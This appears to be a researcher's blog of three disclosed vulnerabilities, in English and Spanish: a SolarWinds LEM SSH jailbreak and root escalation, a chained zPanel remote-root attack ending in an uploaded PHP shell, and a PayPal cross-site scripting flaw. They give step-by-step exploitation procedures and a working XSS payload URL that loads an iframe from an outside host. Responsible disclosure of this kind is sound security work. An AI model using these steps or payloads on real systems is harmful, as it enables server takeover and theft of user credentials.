2017/03/23

SolarWinds LEM: SSH Jailbreak and Privilege Escalation

BACKGROUND
SolarWinds LEM (or SIEM) is a log management software for security, compliance, and troubleshooting. Log & Event Manager includes rules and reports for standards like HIPAA, PCI-DSS, SOX, GLBA, NCUA, NERC-CIP, DISA-STIG, and more.

DESCRIPTION
SolarWinds LEM <= 6.3 is affected by two vulnerabilities that allow remote authenticated users to escape from sandbox and elevate privileges to root. The vulnerable interface exposes some internal tools that could be used to escape from jail and execute arbitrary commands on the system. A second flaw related with improper permissions allows users to execute commands as root. 

PROOF OF CONCEPT
The affected resource is the custom SSH interface. It is a limited shell which only allows specific management actions, like modify network interfaces or view the server status. Due to weak isolation, it is possible to escape from this interface and launch a system shell without restrictions.

1. CVE-2017-5199 - SolarWinds SIEM authenticated custom shell Jailbreak and command execution

- Login through SSH (port 32022 by deafult)
- Acess "appliance" section.
- Enter "editbanner" command. A "nano" editor will be shown.
- Press "F5" key and then <CTRL+T>. This combination will open a file explorer.
- Navigate to "/usr/local/contego/scripts/" and open "mgrconfig.pl". This is the logon shell script and is writable, but can't save to the right file jet.
- Press <ALT+F>, then <CTRL+R>. It will enable multibuffer and ask for a file to insert into. Put "/usr/local/contego/scripts/mgrconfig.pl".
- When loaded, search for "sub do_main" with <CTRL+W>.
- Insert 'system("/bin/bash");' line, just after 'print "cmc>";'.
- Finally, save the file with <CTRL+O> and ENTER.
- Exit SSH and login again.
- When logged in, a bash shell will be shown.



2. CVE-2017-5198 - SolarWinds SIEM incorrect permissions on management scripts allows privilege escalation 

- Once logged into bash shell, check available "sudo" commands: sudo -l
- Due to incorrect permissions, it is possible to edit the content of several scripts which are allowed to run as sudo.
- I've choosen "/usr/local/contego/scripts/hostname.sh". Open it with nano, delete the content and just put "/bin/bash -i". Save it with <CTRL+O>.
- Execute "sudo /usr/local/contego/scripts/hostname.sh" to get a root shell.


BUSINESS IMPACT
An attacker can execute arbitrary commands as root, which leads in a total machine compromise.


LIMITATIONS
The last published version (6.3.1) is affected by the sandbox escape vulnerability, but the privilege escalation was patched by setting correct permissions on the affected files. Anyway, it was verified that is still possible to escalate privileges due to outdated system kernel.

SOLUTION
Improve the isolation on the custom SSH interface and set correct permissions on all sensitive files to prevent unwanted access or modification.
It is also recommended to upgrade the system kernel to prevent privilege escalation issues. The SolarWinds team has confirmed that they are working on it.


TIMELINE
January 6, 2017: CVE assigned CVE-2017-5198 and CVE-2017-5199
January 6, 2017: Contact with SolarWinds Team
January 10, 2017: SolarWinds confirms the vulnerability. They said that are working in a fix.
January 14, 2017: SolarWinds confirms the patch and public release date (February 15, 2017).
March 23, 2017: Advisory published.

DISCOVERED BY
Jose Antonio Pérez Piedra

2014/03/09

zPanel 10.1.x - Remote Root Vulnerability

zPanel es un panel de administración de hosting, pensado para ser la alternativa gratuita a cPanel, es bastante completo y dispone de una interfaz sencilla y completa.

La historia de este exploit comenzó con el conocido bug del binario zsudo descubierto en la versión 10.0.2, publicado por Zenny en fulldisclosure, se trata de una vulnerabilidad de elevación de privilegios por ejecución de comandos como superusuario.
A día de hoy, la última versión del sistema (10.1.0) sigue siendo vulnerable al mismo fallo. Además en el mismo binario existe un bug de buffer overflow que tiene un papel secundario debido al fallo de ejecución de comandos, más fácil de explotar, pero no menos importante.

Reporté el fallo al bugtrack de zPanel (bugs.zpanelcp.com) el día 6/11/2013, casi tres meses después, el día 30/1/2014 recibí contestación.
A grandes rasgos el desarrollador me hizo entender que al no proporcionar acceso SSH a los clientes el fallo no podía ser explotado. Esto ya me parece un craso error, no se puede basar la seguridad de un sistema informático en la confianza, como quedará demostrado a continuación.

Al recibir esa contestación me puse a indagar en busca de algo que permitiese ejecutar el binario zsudo, tras encadenar varios bugs y errores de configuración resultó en un exploit que puede ser utilizado para obtener acceso como root al sistema sin necesidad de estar autentificado en el panel.

El primer fallo reside en la librería pChart2 2.1.3 incluida en el panel. Utiliza una versión para la cual han publicado recientemente un fallo de revelación de archivos (http://www.exploit-db.com/exploits/31173/). El problema está en los ficheros de ejemplo que trae dicha librería.
Esto permite acceder al archivo de configuración de zpanel que almacena la clave de root de MySQL. El directorio que almacena las librerías debería estar restringido al público para evitar llamadas directas a ellas, cosa que no ocurre en zpanel.

A continuación y con la clave de root de MySQL, podemos acceder via phpMyAdmin que se encuentra en la ruta del panel http://localhost/etc/apps/phpmyadmin/, que tampoco restringe la entrada y puede ser accedido por cualquiera sin estar autentificado previamente.

Una vez dentro se puede localizar la ruta donde está instalado el panel mediante una simple consulta SQL. Esta ruta dispone de permisos 777 por defecto en todos los archivos, lo que permite modificar cualquier fichero dentro de esta carpeta o lo que más interesa para el desarrollo de este exploit, crearlos.

MySQL dispone de sentencias para volcar información de la base de datos en archivos (INTO OUTFILE), esto junto a los permisos máximos que otorga el usuario root, abre la puerta a la subida de una shell en php al directorio de zPanel.

Una vez llegados a este punto el sistema está comprometido, aunque solo dispondríamos de permisos limitados al usuario www-data. Aquí es donde entra la elevación de privilegios, que no sería posible si el programa zsudo no fuera vulnerable.

Las directivas de seguridad de PHP como disable_functions podrían mitigar este ataque bloqueando funciones potencialmente dañinas, que permiten la ejecución de comandos como puede ser passthru(), exec(), system(), popen(), etc... pero zPanel permite su utilización.

Para conseguir la elevación de privilegios, se puede abusar de zsudo. Primero se modifica el fichero de configuración del servicio SSH para permitir el acceso remoto como root, una vez conseguido esto solo es necesario cambiar la password de root y entrar con esa clave a través de SSH.
Esta es la ruta que he seguido para conseguir permisos de superusuario, pero aquí puede haber muchas variantes: conexión inversa como root, creación de superusuario, etc.


En resumen se ha demostrado que no se puede confiar en un sistema infalible con una única capa de seguridad, ya que tarde o temprano habrá una mínima brecha, que si se complementa con fallos públicos no parcheados puede comprometer el servidor por completo.

Además de estos fallos, he reportado otros bugs menores:
- XSS (https://github.com/zpanel/zpanelx/pull/106)
- XSS (https://github.com/zpanel/zpanelx/pull/104)
- Information disclosure (http://bugs.zpanelcp.com/view.php?id=704)



A continuación dejo el seguimiento de la vulnerabilidad realizada por el equipo de zPanel y el exploit que da acceso root al servidor.

Timeline:
- 06/11/2013: Inyección de comandos y buffer overflow en zsudo reportado.
- 30/01/2014: Respuesta del desarrollador: No se considera explotable y no liberará ningún parche.
- 31/01/2014: Exploit reportado
- 01/02/2014: Zsudo reescrito por mi en github (https://github.com/zpanel/zpanelx/pull/97)
- 01/03/2014: Zpanel lanza la versión 10.1.1

ACTUALIZACIÓN (27/10/2015): 
Exploit publicado: http://pastebin.com/y5Pf4Yms


Vulnerabilidad descubierta por Jose Antonio Pérez
japp{at}0xlabs{dotz}com


2013/05/05

Paypal - Cross Site Scripting

Uno de los parámetros del enlace que proporciona Paypal para realizar pagos es vulnerable a XSS (Cross Site Scripting), que podría permitir el robo de la sesiones a clientes autentificados en Paypal.

Si este tipo de fallo ya de por sí es grave en una empresa de estas características, donde está localizado el bug incrementa enormemente las posibilidades de éxito ante ataques tipo Phising, un atacante podría cambiar el formulario de login incluido en esta página fácilmente por uno propio y obtener las credenciales del cliente, como su email y contraseña. Simplemente modificando el enlace de botón de pago proporcionado por Paypal.

La única limitación que tiene el bug es el tamaño máximo de la cadena a insertar, 23 caracteres, esto puede ser evadido fácilmente mediante acortadores de URL por ejemplo, siempre que trabajen bajo SSL.

https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=UPWVULJWYUVT6&on0=%3Ciframe%20src%3D%2f%2fnimb.cc%2f%3Easdasd&os0=1208171032&on1=asd&os1=NUEVA ALMACEN DE BARRIO CENTRICO EN BUENOS AIRES INTERESADA EN ABASTECIMIENTO DE PRODUCTOS KOSHER\"\'